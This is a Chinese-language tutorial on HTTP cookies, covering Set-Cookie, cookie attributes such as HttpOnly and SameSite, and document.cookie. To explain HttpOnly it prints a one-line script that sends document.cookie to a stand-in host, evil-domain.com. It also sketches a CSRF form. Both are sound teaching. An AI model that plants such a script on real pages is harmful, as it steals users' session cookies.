概述
Cookie 是服務(wù)器保存在瀏覽器的一小段文本信息,一般大小不能超過(guò)4KB。瀏覽器每次向服務(wù)器發(fā)出請(qǐng)求,就會(huì)自動(dòng)附上這段信息。
HTTP 協(xié)議不帶有狀態(tài),有些請(qǐng)求需要區(qū)分狀態(tài),就通過(guò) Cookie 附帶字符串,讓服務(wù)器返回不一樣的回應(yīng)。舉例來(lái)說(shuō),用戶登錄以后,服務(wù)器往往會(huì)在網(wǎng)站上留下一個(gè) Cookie,記錄用戶編號(hào)(比如id=1234
),以后每次瀏覽器向服務(wù)器請(qǐng)求數(shù)據(jù),就會(huì)帶上這個(gè)字符串,服務(wù)器從而知道是誰(shuí)在請(qǐng)求,應(yīng)該回應(yīng)什么內(nèi)容。
Cookie 的目的就是區(qū)分用戶,以及放置狀態(tài)信息,它的使用場(chǎng)景主要如下。
- 對(duì)話(session)管理:保存登錄狀態(tài)、購(gòu)物車(chē)等需要記錄的信息。
- 個(gè)性化信息:保存用戶的偏好,比如網(wǎng)頁(yè)的字體大小、背景色等等。
- 追蹤用戶:記錄和分析用戶行為。
Cookie 不是一種理想的客戶端存儲(chǔ)機(jī)制。它的容量很?。?KB),缺乏數(shù)據(jù)操作接口,而且會(huì)影響性能??蛻舳舜鎯?chǔ)建議使用 Web storage API 和 IndexedDB。只有那些每次請(qǐng)求都需要讓服務(wù)器知道的信息,才應(yīng)該放在 Cookie 里面。
每個(gè) Cookie 都有以下幾方面的元數(shù)據(jù)。
- Cookie 的名字
- Cookie 的值(真正的數(shù)據(jù)寫(xiě)在這里面)
- 到期時(shí)間(超過(guò)這個(gè)時(shí)間會(huì)失效)
- 所屬域名(默認(rèn)為當(dāng)前域名)
- 生效的路徑(默認(rèn)為當(dāng)前網(wǎng)址)
舉例來(lái)說(shuō),用戶訪問(wèn)網(wǎng)址www.example.com
,服務(wù)器在瀏覽器寫(xiě)入一個(gè) Cookie。這個(gè) Cookie 的所屬域名為www.example.com
,生效路徑為根路徑/
。
如果 Cookie 的生效路徑設(shè)為/forums
,那么這個(gè) Cookie 只有在訪問(wèn)www.example.com/forums
及其子路徑時(shí)才有效。以后,瀏覽器訪問(wèn)某個(gè)路徑之前,就會(huì)找出對(duì)該域名和路徑有效,并且還沒(méi)有到期的 Cookie,一起發(fā)送給服務(wù)器。
用戶可以設(shè)置瀏覽器不接受 Cookie,也可以設(shè)置不向服務(wù)器發(fā)送 Cookie。window.navigator.cookieEnabled
屬性返回一個(gè)布爾值,表示瀏覽器是否打開(kāi) Cookie 功能。
window.navigator.cookieEnabled // true
document.cookie
屬性返回當(dāng)前網(wǎng)頁(yè)的 Cookie。
document.cookie // "id=foo;key=bar"
不同瀏覽器對(duì) Cookie 數(shù)量和大小的限制,是不一樣的。一般來(lái)說(shuō),單個(gè)域名設(shè)置的 Cookie 不應(yīng)超過(guò)30個(gè),每個(gè) Cookie 的大小不能超過(guò) 4KB。超過(guò)限制以后,Cookie 將被忽略,不會(huì)被設(shè)置。
Cookie 是按照域名區(qū)分的,foo.com
只能讀取自己放置的 Cookie,無(wú)法讀取其他網(wǎng)站(比如bar.com
)放置的 Cookie。一般情況下,一級(jí)域名也不能讀取二級(jí)域名留下的 Cookie,比如mydomain.com
不能讀取subdomain.mydomain.com
設(shè)置的 Cookie。但是有一個(gè)例外,設(shè)置 Cookie 的時(shí)候(不管是一級(jí)域名設(shè)置的,還是二級(jí)域名設(shè)置的),明確將domain
屬性設(shè)為一級(jí)域名,則這個(gè)域名下面的各級(jí)域名可以共享這個(gè)
Cookie。
Set-Cookie: name=value; domain=mydomain.com
上面示例中,設(shè)置 Cookie 時(shí),domain
屬性設(shè)為mydomain.com
,那么各級(jí)的子域名和一級(jí)域名都可以讀取這個(gè) Cookie。
注意,區(qū)分 Cookie 時(shí)不考慮協(xié)議和端口。也就是說(shuō),http://example.com
設(shè)置的 Cookie,可以被https://example.com
或http://example.com:8080
讀取。
Cookie 與 HTTP 協(xié)議
Cookie 由 HTTP 協(xié)議生成,也主要是供 HTTP 協(xié)議使用。
HTTP 回應(yīng):Cookie 的生成
服務(wù)器如果希望在瀏覽器保存 Cookie,就要在 HTTP 回應(yīng)的頭信息里面,放置一個(gè)Set-Cookie
字段。
Set-Cookie:foo=bar
上面代碼會(huì)在瀏覽器保存一個(gè)名為foo
的 Cookie,它的值為bar
。
HTTP 回應(yīng)可以包含多個(gè)Set-Cookie
字段,即在瀏覽器生成多個(gè) Cookie。下面是一個(gè)例子。
HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: yummy_cookie=choco
Set-Cookie: tasty_cookie=strawberry
[page content]
除了 Cookie 的值,Set-Cookie
字段還可以附加 Cookie 的屬性。
Set-Cookie: <cookie-name>=<cookie-value>; Expires=<date>
Set-Cookie: <cookie-name>=<cookie-value>; Max-Age=<non-zero-digit>
Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>
Set-Cookie: <cookie-name>=<cookie-value>; Path=<path-value>
Set-Cookie: <cookie-name>=<cookie-value>; Secure
Set-Cookie: <cookie-name>=<cookie-value>; HttpOnly
上面的幾個(gè)屬性的含義,將在后文解釋。
一個(gè)Set-Cookie
字段里面,可以同時(shí)包括多個(gè)屬性,沒(méi)有次序的要求。
Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>; Secure; HttpOnly
下面是一個(gè)例子。
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
如果服務(wù)器想改變一個(gè)早先設(shè)置的 Cookie,必須同時(shí)滿足四個(gè)條件:Cookie 的key
、domain
、path
和secure
都匹配。舉例來(lái)說(shuō),如果原始的 Cookie 是用如下的Set-Cookie
設(shè)置的。
Set-Cookie: key1=value1; domain=example.com; path=/blog
改變上面這個(gè) Cookie 的值,就必須使用同樣的Set-Cookie
。
Set-Cookie: key1=value2; domain=example.com; path=/blog
只要有一個(gè)屬性不同,就會(huì)生成一個(gè)全新的 Cookie,而不是替換掉原來(lái)那個(gè) Cookie。
Set-Cookie: key1=value2; domain=example.com; path=/
上面的命令設(shè)置了一個(gè)全新的同名 Cookie,但是path
屬性不一樣。下一次訪問(wèn)example.com/blog
的時(shí)候,瀏覽器將向服務(wù)器發(fā)送兩個(gè)同名的 Cookie。
Cookie: key1=value1; key1=value2
上面代碼的兩個(gè) Cookie 是同名的,匹配越精確的 Cookie 排在越前面。
HTTP 請(qǐng)求:Cookie 的發(fā)送
瀏覽器向服務(wù)器發(fā)送 HTTP 請(qǐng)求時(shí),每個(gè)請(qǐng)求都會(huì)帶上相應(yīng)的 Cookie。也就是說(shuō),把服務(wù)器早前保存在瀏覽器的這段信息,再發(fā)回服務(wù)器。這時(shí)要使用 HTTP 頭信息的Cookie
字段。
Cookie: foo=bar
上面代碼會(huì)向服務(wù)器發(fā)送名為foo
的 Cookie,值為bar
。
Cookie
字段可以包含多個(gè) Cookie,使用分號(hào)(;
)分隔。
Cookie: name=value; name2=value2; name3=value3
下面是一個(gè)例子。
GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: yummy_cookie=choco; tasty_cookie=strawberry
服務(wù)器收到瀏覽器發(fā)來(lái)的 Cookie 時(shí),有兩點(diǎn)是無(wú)法知道的。
- Cookie 的各種屬性,比如何時(shí)過(guò)期。
- 哪個(gè)域名設(shè)置的 Cookie,到底是一級(jí)域名設(shè)的,還是某一個(gè)二級(jí)域名設(shè)的。
Cookie 的屬性
Expires,Max-Age
Expires
屬性指定一個(gè)具體的到期時(shí)間,到了指定時(shí)間以后,瀏覽器就不再保留這個(gè) Cookie。它的值是 UTC 格式,可以使用Date.prototype.toUTCString()
進(jìn)行格式轉(zhuǎn)換。
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
如果不設(shè)置該屬性,或者設(shè)為null
,Cookie 只在當(dāng)前會(huì)話(session)有效,瀏覽器窗口一旦關(guān)閉,當(dāng)前 Session 結(jié)束,該 Cookie 就會(huì)被刪除。另外,瀏覽器根據(jù)本地時(shí)間,決定 Cookie 是否過(guò)期,由于本地時(shí)間是不精確的,所以沒(méi)有辦法保證 Cookie 一定會(huì)在服務(wù)器指定的時(shí)間過(guò)期。
Max-Age
屬性指定從現(xiàn)在開(kāi)始 Cookie 存在的秒數(shù),比如60 * 60 * 24 * 365
(即一年)。過(guò)了這個(gè)時(shí)間以后,瀏覽器就不再保留這個(gè) Cookie。
如果同時(shí)指定了Expires
和Max-Age
,那么Max-Age
的值將優(yōu)先生效。
如果Set-Cookie
字段沒(méi)有指定Expires
或Max-Age
屬性,那么這個(gè) Cookie 就是 Session Cookie,即它只在本次對(duì)話存在,一旦用戶關(guān)閉瀏覽器,瀏覽器就不會(huì)再保留這個(gè) Cookie。
Domain,Path
Domain
屬性指定 Cookie 屬于哪個(gè)域名,以后瀏覽器向服務(wù)器發(fā)送 HTTP 請(qǐng)求時(shí),通過(guò)這個(gè)屬性判斷是否要附帶某個(gè) Cookie。
服務(wù)器設(shè)定 Cookie 時(shí),如果沒(méi)有指定 Domain 屬性,瀏覽器會(huì)默認(rèn)將其設(shè)為瀏覽器的當(dāng)前域名。如果當(dāng)前域名是一個(gè) IP 地址,則不得設(shè)置 Domain 屬性。
如果指定 Domain 屬性,需要遵守下面規(guī)則:Domain 屬性只能是當(dāng)前域名或者當(dāng)前域名的上級(jí)域名,但設(shè)為上級(jí)域名時(shí),不能設(shè)為頂級(jí)域名或公共域名。(頂級(jí)域名指的是 .com、.net 這樣的域名,公共域名指的是開(kāi)放給外部用戶設(shè)置子域名的域名,比如 github.io。)如果不符合上面這條規(guī)則,瀏覽器會(huì)拒絕設(shè)置這個(gè) Cookie。
舉例來(lái)說(shuō),當(dāng)前域名為x.y.z.com
,那么 Domain 屬性可以設(shè)為x.y.z.com
,或者y.z.com
,或者z.com
,但不能設(shè)為foo.x.y.z.com
,或者another.domain.com
。
另一個(gè)例子是,當(dāng)前域名為wangdoc.github.io
,則 Domain 屬性只能設(shè)為wangdoc.github.io
,不能設(shè)為github.io
,因?yàn)楹笳呤且粋€(gè)公共域名。
瀏覽器發(fā)送 Cookie 時(shí),Domain 屬性必須與當(dāng)前域名一致,或者是當(dāng)前域名的上級(jí)域名(公共域名除外)。比如,Domain 屬性是y.z.com
,那么適用于y.z.com
、x.y.z.com
、foo.x.y.z.com
等域名。再比如,Domain 屬性是公共域名github.io
,那么只適用于github.io
這個(gè)域名本身,不適用于它的子域名wangdoc.github.io
。
Path
屬性指定瀏覽器發(fā)出 HTTP 請(qǐng)求時(shí),哪些路徑要附帶這個(gè) Cookie。只要瀏覽器發(fā)現(xiàn),Path
屬性是 HTTP 請(qǐng)求路徑的開(kāi)頭一部分,就會(huì)在頭信息里面帶上這個(gè) Cookie。比如,Path
屬性是/
,那么請(qǐng)求/docs
路徑也會(huì)包含該 Cookie。當(dāng)然,前提是 Domain 屬性必須符合條件。
Secure,HttpOnly
Secure
屬性指定瀏覽器只有在加密協(xié)議 HTTPS 下,才能將這個(gè) Cookie 發(fā)送到服務(wù)器。另一方面,如果當(dāng)前協(xié)議是 HTTP,瀏覽器會(huì)自動(dòng)忽略服務(wù)器發(fā)來(lái)的Secure
屬性。該屬性只是一個(gè)開(kāi)關(guān),不需要指定值。如果通信是 HTTPS 協(xié)議,該開(kāi)關(guān)自動(dòng)打開(kāi)。
HttpOnly
屬性指定該 Cookie 無(wú)法通過(guò) JavaScript 腳本拿到,主要是document.cookie
屬性、XMLHttpRequest
對(duì)象和 Request API 都拿不到該屬性。這樣就防止了該 Cookie 被腳本讀到,只有瀏覽器發(fā)出 HTTP 請(qǐng)求時(shí),才會(huì)帶上該 Cookie。
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
上面是跨站點(diǎn)載入的一個(gè)惡意腳本的代碼,能夠?qū)?dāng)前網(wǎng)頁(yè)的 Cookie 發(fā)往第三方服務(wù)器。如果設(shè)置了一個(gè) Cookie 的HttpOnly
屬性,上面代碼就不會(huì)讀到該 Cookie。
SameSite
Chrome 51 開(kāi)始,瀏覽器的 Cookie 新增加了一個(gè)SameSite
屬性,用來(lái)防止 CSRF 攻擊和用戶追蹤。
Cookie 往往用來(lái)存儲(chǔ)用戶的身份信息,惡意網(wǎng)站可以設(shè)法偽造帶有正確 Cookie 的 HTTP 請(qǐng)求,這就是 CSRF 攻擊。舉例來(lái)說(shuō),用戶登陸了銀行網(wǎng)站your-bank.com
,銀行服務(wù)器發(fā)來(lái)了一個(gè) Cookie。
Set-Cookie:id=a3fWa;
用戶后來(lái)又訪問(wèn)了惡意網(wǎng)站malicious.com
,上面有一個(gè)表單。
<form action="your-bank.com/transfer" method="POST">
...
</form>
用戶一旦被誘騙發(fā)送這個(gè)表單,銀行網(wǎng)站就會(huì)收到帶有正確 Cookie 的請(qǐng)求。為了防止這種攻擊,官網(wǎng)的表單一般都帶有一個(gè)隨機(jī) token,官網(wǎng)服務(wù)器通過(guò)驗(yàn)證這個(gè)隨機(jī) token,確認(rèn)是否為真實(shí)請(qǐng)求。
<form action="your-bank.com/transfer" method="POST">
<input type="hidden" name="token" value="dad3weg34">
...
</form>
這種第三方網(wǎng)站引導(dǎo)而附帶發(fā)送的 Cookie,就稱為第三方 Cookie。它除了用于 CSRF 攻擊,還可以用于用戶追蹤。比如,F(xiàn)acebook 在第三方網(wǎng)站插入一張看不見(jiàn)的圖片。
<img src="facebook.com" style="visibility:hidden;">
瀏覽器加載上面代碼時(shí),就會(huì)向 Facebook 發(fā)出帶有 Cookie 的請(qǐng)求,從而 Facebook 就會(huì)知道你是誰(shuí),訪問(wèn)了什么網(wǎng)站。
Cookie 的SameSite
屬性用來(lái)限制第三方 Cookie,從而減少安全風(fēng)險(xiǎn)。它可以設(shè)置三個(gè)值。
- Strict
- Lax
- None
(1)Strict
Strict
最為嚴(yán)格,完全禁止第三方 Cookie,跨站點(diǎn)時(shí),任何情況下都不會(huì)發(fā)送 Cookie。換言之,只有當(dāng)前網(wǎng)頁(yè)的 URL 與請(qǐng)求目標(biāo)一致,才會(huì)帶上 Cookie。
Set-Cookie: CookieName=CookieValue; SameSite=Strict;
這個(gè)規(guī)則過(guò)于嚴(yán)格,可能造成非常不好的用戶體驗(yàn)。比如,當(dāng)前網(wǎng)頁(yè)有一個(gè) GitHub 鏈接,用戶點(diǎn)擊跳轉(zhuǎn)就不會(huì)帶有 GitHub 的 Cookie,跳轉(zhuǎn)過(guò)去總是未登陸狀態(tài)。
(2)Lax
Lax
規(guī)則稍稍放寬,大多數(shù)情況也是不發(fā)送第三方 Cookie,但是導(dǎo)航到目標(biāo)網(wǎng)址的 Get 請(qǐng)求除外。
Set-Cookie: CookieName=CookieValue; SameSite=Lax;
導(dǎo)航到目標(biāo)網(wǎng)址的 GET 請(qǐng)求,只包括三種情況:鏈接,預(yù)加載請(qǐng)求,GET 表單。詳見(jiàn)下表。
請(qǐng)求類型 | 示例 | 正常情況 | Lax |
---|---|---|---|
鏈接 | <a href="..."></a>
|
發(fā)送 Cookie | 發(fā)送 Cookie |
預(yù)加載 | <link rel="prerender" href="..."/>
|
發(fā)送 Cookie | 發(fā)送 Cookie |
GET 表單 | <form method="GET" action="...">
|
發(fā)送 Cookie | 發(fā)送 Cookie |
POST 表單 | <form method="POST" action="...">
|
發(fā)送 Cookie | 不發(fā)送 |
iframe | <iframe src="..."></iframe>
|
發(fā)送 Cookie | 不發(fā)送 |
AJAX | $.get("...")
|
發(fā)送 Cookie | 不發(fā)送 |
Image | <img src="...">
|
發(fā)送 Cookie | 不發(fā)送 |
設(shè)置了Strict
或Lax
以后,基本就杜絕了 CSRF 攻擊。當(dāng)然,前提是用戶瀏覽器支持 SameSite 屬性。
(3)None
Chrome 計(jì)劃將Lax
變?yōu)槟J(rèn)設(shè)置。這時(shí),網(wǎng)站可以選擇顯式關(guān)閉SameSite
屬性,將其設(shè)為None
。不過(guò),前提是必須同時(shí)設(shè)置Secure
屬性(Cookie 只能通過(guò) HTTPS 協(xié)議發(fā)送),否則無(wú)效。
下面的設(shè)置無(wú)效。
Set-Cookie: widget_session=abc123; SameSite=None
下面的設(shè)置有效。
Set-Cookie: widget_session=abc123; SameSite=None; Secure
document.cookie
document.cookie
屬性用于讀寫(xiě)當(dāng)前網(wǎng)頁(yè)的 Cookie。
讀取的時(shí)候,它會(huì)返回當(dāng)前網(wǎng)頁(yè)的所有 Cookie,前提是該 Cookie 不能有HTTPOnly
屬性。
document.cookie // "foo=bar;baz=bar"
上面代碼從document.cookie
一次性讀出兩個(gè) Cookie,它們之間使用分號(hào)分隔。必須手動(dòng)還原,才能取出每一個(gè) Cookie 的值。
var cookies = document.cookie.split(';');
for (var i = 0; i < cookies.length; i++) {
console.log(cookies[i]);
}
// foo=bar
// baz=bar
document.cookie
屬性是可寫(xiě)的,可以通過(guò)它為當(dāng)前網(wǎng)站添加 Cookie。
document.cookie = 'fontSize=14';
寫(xiě)入的時(shí)候,Cookie 的值必須寫(xiě)成key=value
的形式。注意,等號(hào)兩邊不能有空格。另外,寫(xiě)入 Cookie 的時(shí)候,必須對(duì)分號(hào)、逗號(hào)和空格進(jìn)行轉(zhuǎn)義(它們都不允許作為 Cookie 的值),這可以用encodeURIComponent
方法達(dá)到。
但是,document.cookie
一次只能寫(xiě)入一個(gè) Cookie,而且寫(xiě)入并不是覆蓋,而是添加。
document.cookie = 'test1=hello';
document.cookie = 'test2=world';
document.cookie
// test1=hello;test2=world
document.cookie
讀寫(xiě)行為的差異(一次可以讀出全部 Cookie,但是只能寫(xiě)入一個(gè) Cookie),與 HTTP 協(xié)議的 Cookie 通信格式有關(guān)。瀏覽器向服務(wù)器發(fā)送 Cookie 的時(shí)候,Cookie
字段是使用一行將所有 Cookie 全部發(fā)送;服務(wù)器向?yàn)g覽器設(shè)置 Cookie 的時(shí)候,Set-Cookie
字段是一行設(shè)置一個(gè) Cookie。
寫(xiě)入 Cookie 的時(shí)候,可以一起寫(xiě)入 Cookie 的屬性。
document.cookie = "foo=bar; expires=Fri, 31 Dec 2020 23:59:59 GMT";
上面代碼中,寫(xiě)入 Cookie 的時(shí)候,同時(shí)設(shè)置了expires
屬性。屬性值的等號(hào)兩邊,也是不能有空格的。
各個(gè)屬性的寫(xiě)入注意點(diǎn)如下。
path
屬性必須為絕對(duì)路徑,默認(rèn)為當(dāng)前路徑。domain
屬性值必須是當(dāng)前發(fā)送 Cookie 的域名的一部分。比如,當(dāng)前域名是example.com
,就不能將其設(shè)為foo.com
。該屬性默認(rèn)為當(dāng)前的一級(jí)域名(不含二級(jí)域名)。如果顯式設(shè)置該屬性,則該域名的任意子域名也可以讀取 Cookie。max-age
屬性的值為秒數(shù)。expires
屬性的值為 UTC 格式,可以使用Date.prototype.toUTCString()
進(jìn)行日期格式轉(zhuǎn)換。
document.cookie
寫(xiě)入 Cookie 的例子如下。
document.cookie = 'fontSize=14; '
+ 'expires=' + someDate.toGMTString() + '; '
+ 'path=/subdirectory; '
+ 'domain=example.com';
注意,上面的domain
屬性,以前的寫(xiě)法是.example.com
,表示子域名也可以讀取該 Cookie,新的寫(xiě)法可以省略前面的點(diǎn)。
Cookie 的屬性一旦設(shè)置完成,就沒(méi)有辦法讀取這些屬性的值。
刪除一個(gè)現(xiàn)存 Cookie 的唯一方法,是設(shè)置它的expires
屬性為一個(gè)過(guò)去的日期。
document.cookie = 'fontSize=;expires=Thu, 01-Jan-1970 00:00:01 GMT';
上面代碼中,名為fontSize
的 Cookie 的值為空,過(guò)期時(shí)間設(shè)為1970年1月1月零點(diǎn),就等同于刪除了這個(gè) Cookie。
參考鏈接
- HTTP cookies, by MDN
- Using the Same-Site Cookie Attribute to Prevent CSRF Attacks
- SameSite cookies explained
- Tough Cookies, Scott Helme
- Cross-Site Request Forgery is dead!, Scott Helme
更多建議: